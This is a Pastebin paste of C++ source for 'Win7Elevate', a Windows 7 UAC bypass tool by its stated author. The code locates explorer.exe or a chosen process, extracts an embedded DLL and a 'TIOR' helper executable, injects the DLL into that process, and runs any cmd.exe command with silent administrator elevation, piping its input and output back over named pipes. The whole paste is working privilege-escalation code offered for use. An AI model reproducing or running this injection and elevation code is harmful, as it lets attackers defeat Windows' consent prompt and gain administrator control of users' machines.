Advertisement
Guest User

TIOR.EXE

a guest
Nov 17th, 2012
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.86 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include "resource.h"
  3. #include "Win7Elevate_Utils.h"
  4. #include "Win7Elevate_Inject.h"
  5.  
  6. #include <iostream>
  7. #include <sstream>
  8. #include <algorithm>
  9.  
  10. #include ".\..\Redirector.h"
  11. #include ".\..\CMMN.h"
  12.  
  13. //
  14. // By Pavlov P.S. (PavPS)
  15. //
  16.  
  17. void PrintUsage()
  18. {
  19. std::cout << "Incorrect input. Please find samples below. " << std::endl;
  20. std::cout << "Note, 'elevate stuff' will be executed in the elevated shell as 'cmd.exe stuff' " << std::endl;
  21. std::cout << "\televate /c <ANY COMMAND SEQUENCE THAT IS ALLOWED BY CMD.EXE SHELL>" << std::endl;
  22. std::cout << "\televate /c <command> [arg1] [arg2] .. [argn]" << std::endl;
  23. std::cout << "\televate --pid 1234 /c <command> [arg1] [arg2] .. [argn]" << std::endl;
  24. std::cout << "\televate /c c:\\path\\foo.exe [arg1] [arg2] .. [argn]" << std::endl;
  25. std::cout << "\televate --pid 1234 /c c:\\path\\foo.exe [arg1] [arg2] .. [argn]" << std::endl;
  26. }
  27.  
  28. HANDLE PipeIn = NULL;
  29. OVERLAPPED PipeInO;
  30.  
  31. HANDLE PipeOut = NULL;
  32. OVERLAPPED PipeOutO;
  33.  
  34. HANDLE PipeErr = NULL;
  35. OVERLAPPED PipeErrO;
  36.  
  37. //
  38. // Initializes named pipes that will be used for connection with TIOR
  39. //
  40. bool SetupNamedPipe()
  41. {
  42. PipeInO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
  43. PipeIn = CreateNamedPipe(
  44. STDIn_PIPE,
  45. PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
  46. PIPE_TYPE_BYTE | PIPE_WAIT,
  47. PIPE_UNLIMITED_INSTANCES,
  48. 0, 0,
  49. NMPWAIT_USE_DEFAULT_WAIT,
  50. NULL );
  51.  
  52. ConnectNamedPipe( PipeIn, &PipeInO );
  53.  
  54. PipeOutO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
  55. PipeOut = CreateNamedPipe(
  56. STDOut_PIPE,
  57. PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
  58. PIPE_TYPE_BYTE | PIPE_WAIT,
  59. PIPE_UNLIMITED_INSTANCES,
  60. 0, 0,
  61. NMPWAIT_USE_DEFAULT_WAIT,
  62. NULL );
  63.  
  64. ConnectNamedPipe( PipeOut, &PipeOutO );
  65.  
  66. PipeErrO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
  67. PipeErr = CreateNamedPipe(
  68. STDErr_PIPE,
  69. PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
  70. PIPE_TYPE_BYTE | PIPE_WAIT,
  71. PIPE_UNLIMITED_INSTANCES,
  72. 0, 0,
  73. NMPWAIT_USE_DEFAULT_WAIT,
  74. NULL );
  75.  
  76. ConnectNamedPipe( PipeErr, &PipeErrO );
  77.  
  78. return true;
  79. }
  80.  
  81. //
  82. // Initiates data pumping.
  83. //
  84. DWORD __stdcall Redirector()
  85. {
  86. if ( !PipeIn )
  87. return -1;
  88.  
  89. if ( PipeInO.hEvent )
  90. WaitForSingleObject( PipeInO.hEvent, -1000 );
  91. if ( PipeOutO.hEvent )
  92. WaitForSingleObject( PipeOutO.hEvent, -1000 );
  93. if ( PipeErrO.hEvent )
  94. WaitForSingleObject( PipeErrO.hEvent, -1000 );
  95.  
  96. TRedirectorPair in = {0};
  97. in.Source = GetStdHandle(STD_INPUT_HANDLE);
  98. in.Destination = PipeIn;
  99. in.Linux = true;
  100. in.Name.assign(TEXT("w7e-in"));
  101. in.Thread= CreateThread( NULL, 0, Redirector, &in, 0, NULL);
  102.  
  103. TRedirectorPair out = {0};
  104. out.Destination = GetStdHandle(STD_OUTPUT_HANDLE);
  105. out.Source = PipeOut;
  106. out.Name.assign(TEXT("w7e-out"));
  107. out.Thread= CreateThread( NULL, 0, Redirector, &out, 0, NULL);
  108.  
  109. TRedirectorPair err = {0};
  110. err.Destination = GetStdHandle(STD_ERROR_HANDLE);
  111. err.Source = PipeErr;
  112. err.Name.assign(TEXT("w7e-err"));
  113. err.Thread= CreateThread( NULL, 0, Redirector, &err, 0, NULL);
  114.  
  115. HANDLE waiters[3] = { in.Thread, out.Thread, err.Thread };
  116. WaitForMultipleObjects( 3, waiters, FALSE, INFINITE );
  117.  
  118. return 0;
  119. }
  120.  
  121. bool IsDefaultProcess ( std::pair<DWORD, std::wstring> pair ) {
  122. return lstrcmpi( pair.second.c_str(), TEXT("explorer.exe") ) == 0;
  123. }
  124.  
  125. //
  126. // To avoid some problems with deadlocked processes we need to find way how to run program
  127. // once more. Since program uses named papes, it can not be started twice (in current realization).
  128. // So, if instance of this process already exists, we need to kill it. Regular exe, started from the
  129. // user's account has no access to kill existing app.
  130. // Here i use named event to listen for and perform suicide. So, i just need to set this event (if one)
  131. // and already existsing app will kill itself.
  132. //
  133. DWORD WINAPI Suicide( LPVOID Parameter )
  134. {
  135. CLogger::LogLine(TEXT("Waiting for suicide..."));
  136. WaitForSingleObject( reinterpret_cast<HANDLE>( Parameter ), INFINITE );
  137. SetEvent( reinterpret_cast<HANDLE>( Parameter ) );
  138. CLogger::LogLine(TEXT("Suicide..."));
  139. ExitProcess( EXIT_FAILURE );
  140.  
  141. return EXIT_SUCCESS;
  142. }
  143.  
  144. int _tmain(int argc, _TCHAR* argv[])
  145. {
  146. CLogger::Reset();
  147. CLogger::LogLine(TEXT("Started"));
  148.  
  149. //
  150. // Looking for suicide.
  151. //
  152. HANDLE obj = CreateEvent( NULL, FALSE, TRUE, TEXT("ws7Suicide") );
  153. if ( !obj )
  154. {
  155. CLogger::LogLine(TEXT("Unable to create suicide object"));
  156. ExitProcess( EXIT_FAILURE );
  157. }
  158.  
  159. //
  160. // If we see that suicide event is in reset state, we just pulce one and wait for
  161. // it's owner to die. When its done, we acuire this event object and also starting listening for
  162. // any signals of this object.
  163. //
  164. do
  165. {
  166. DWORD rv = WaitForSingleObject( obj, 100 );
  167. if ( rv == WAIT_OBJECT_0 ) break;
  168.  
  169. if ( rv != WAIT_TIMEOUT )
  170. {
  171. CLogger::LogLine(TEXT("Suicide wait error"));
  172. ExitProcess( EXIT_FAILURE );
  173. }
  174.  
  175. CLogger::LogLine(TEXT("Somebody alive. Pulse."));
  176. PulseEvent( obj );
  177. Sleep(1000); // wee need to wait;
  178.  
  179. }while( true );
  180.  
  181. HANDLE hSuicide = CreateThread( NULL, 0, Suicide, obj, 0, NULL );
  182. if ( !hSuicide )
  183. {
  184. CLogger::LogLine(TEXT("Immortals are not allowed"));
  185. return EXIT_FAILURE;
  186. }
  187.  
  188. do
  189. {
  190. int pass_through_index = 1;
  191. if ( argc <= pass_through_index )
  192. {
  193. std::cout << "Too few arguments" << std::endl;
  194. break;
  195. }
  196.  
  197.  
  198. DWORD pid = 0;
  199. if ( lstrcmpi( argv[1], TEXT("--pid") ) == 0 )
  200. {
  201. pass_through_index = 3;
  202. if ( argc <= pass_through_index )
  203. {
  204. std::cout << "Too few arguments" << std::endl;
  205. break;
  206. }
  207.  
  208. std::wistringstream pid_stream( argv[2] );
  209. if ( ! ( pid_stream >> pid ) )
  210. {
  211. std::cout << "Invalid pid" << std::endl;
  212. pid = 0;
  213. }
  214. }
  215.  
  216. if ( ! pid )
  217. {
  218. std::map< DWORD, std::wstring > procs;
  219. if (!W7EUtils::GetProcessList(GetConsoleWindow(), procs))
  220. {
  221. std::cout << "Unable to obtain list of processes" << std::endl;
  222. break;
  223. }
  224.  
  225. std::map< DWORD, std::wstring >::const_iterator iter = std::find_if( procs.begin(), procs.end(), IsDefaultProcess );
  226. if (iter == procs.end())
  227. {
  228. std::cout << "Unable to find default process" << std::endl;
  229. break;
  230. }
  231.  
  232. pid = (*iter).first;
  233. }
  234.  
  235. TOKEN_ELEVATION_TYPE g_tet = TokenElevationTypeDefault;
  236. if (!W7EUtils::GetElevationType(&g_tet))
  237. {
  238. _tprintf(_T("GetElevationType failed"));
  239. break;
  240. }
  241.  
  242. switch(g_tet)
  243. {
  244. default:
  245. case TokenElevationTypeDefault:
  246. CLogger::LogLine(_T("<< UNKNOWN elevation level. >>\n"));
  247. break;
  248. case TokenElevationTypeFull:
  249. CLogger::LogLine(_T("*** Since the program is already elevated the tests below are fairly meaningless. Re-run it without elevation. ***\n"));
  250. break;
  251. case TokenElevationTypeLimited:
  252. CLogger::LogLine(_T("This program attempts to bypass Windows 7's default UAC settings to run the specified command with silent elevation.\n"));
  253. break;
  254. }
  255.  
  256. W7EUtils::CTempResource dllResource(NULL, IDD_EMBEDDED_DLL);
  257. std::wstring strOurDllPath;
  258. if (!dllResource.GetFilePath(strOurDllPath))
  259. {
  260. //MessageBox(GetConsoleWindow(), L"Error extracting dll resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
  261. CLogger::LogLine(TEXT("Error extracting dll resource."));
  262. break;
  263. }
  264.  
  265. //
  266. // Extraction TIOR.exe from resources and saves exe in the folder where current application
  267. // exists.
  268. //
  269. W7EUtils::CTempResource TIORResource(NULL, IDD_EMBEDDED_TIOR);
  270. std::wstring strOurTIORPath;
  271. std::wstring tior;
  272. bool tior_succeed = false;
  273. if (TIORResource.GetFilePath(strOurTIORPath))
  274. {
  275. CLogger::LogLine(TEXT("TIOR extracted"));
  276.  
  277. TCHAR me_buff[MAX_PATH];
  278. DWORD me_count = GetModuleFileName( NULL, me_buff, MAX_PATH );
  279. if ( me_count )
  280. {
  281. TCHAR *me_tail = me_buff + me_count - 1;
  282. for( ; me_tail > me_buff; me_tail-- )
  283. if ( *me_tail == '\\' )
  284. {
  285. me_tail++;
  286. *me_tail = 0;
  287. break;
  288. }
  289.  
  290. tior.assign(me_buff);
  291. tior.append( TEXT("tior.exe") );
  292.  
  293. if ( CopyFile( strOurTIORPath.c_str(), tior.c_str(), FALSE ) )
  294. {
  295. CLogger::LogLine(TEXT("TIOR copied"));
  296. tior_succeed = true;
  297. }
  298. }
  299. }
  300.  
  301. if ( tior_succeed )
  302. {
  303. tior_succeed = false;
  304.  
  305. CInterprocessStorage *tior_storage = CInterprocessStorage::Create( TEXT("w7e_TIORPath") );
  306. if ( tior_storage )
  307. {
  308. CLogger::LogLine(TEXT("TIOR path set"));
  309. tior_storage->SetString( tior );
  310. tior_succeed = true;
  311. }
  312. }
  313.  
  314. if ( !tior_succeed )
  315. {
  316. //MessageBox(GetConsoleWindow(), L"Error extracting tior resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
  317. CLogger::LogLine(L"Error extracting tior resource.");
  318. break;
  319. }
  320.  
  321. std::wstring args;
  322. for ( int i = pass_through_index; i < argc; i++ )
  323. {
  324. bool q = wcsstr(argv[i], TEXT(" ")) || wcsstr(argv[i], TEXT("\t"));
  325.  
  326. if ( q ) args.append( TEXT("\"") );
  327. args.append( argv[i] );
  328. if ( q ) args.append( TEXT("\"") );
  329. args.append( TEXT(" ") );
  330. }
  331.  
  332. if ( !SetupNamedPipe() )
  333. std::cout << "Unable to setup named pipe" << std::endl;
  334.  
  335. //
  336. // Preparing shared variables to be used by TIOR that is going to start after we will inject
  337. // and load dll into elevated process.
  338. //
  339. CInterprocessStorage::Create( TEXT("w7e_TIORShell"), std::wstring(TEXT("cmd.exe")) );
  340. CInterprocessStorage::Create( TEXT("w7e_TIORArgs"), args );
  341. CInterprocessStorage::Create( TEXT("w7e_TIORDir"), std::wstring(TEXT("C:\\Windows\\System32")) );
  342.  
  343. W7EInject::AttemptOperation(
  344. GetConsoleWindow(),
  345. true,
  346. true,
  347. pid,
  348. TEXT("n/a"),
  349. argv[pass_through_index],
  350. args.c_str(),
  351. TEXT("C:\\Windows\\System32"),
  352. strOurDllPath.c_str(),
  353. Redirector);
  354.  
  355. return EXIT_SUCCESS;
  356.  
  357. }while(false);
  358.  
  359. PrintUsage();
  360. return EXIT_FAILURE;
  361. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement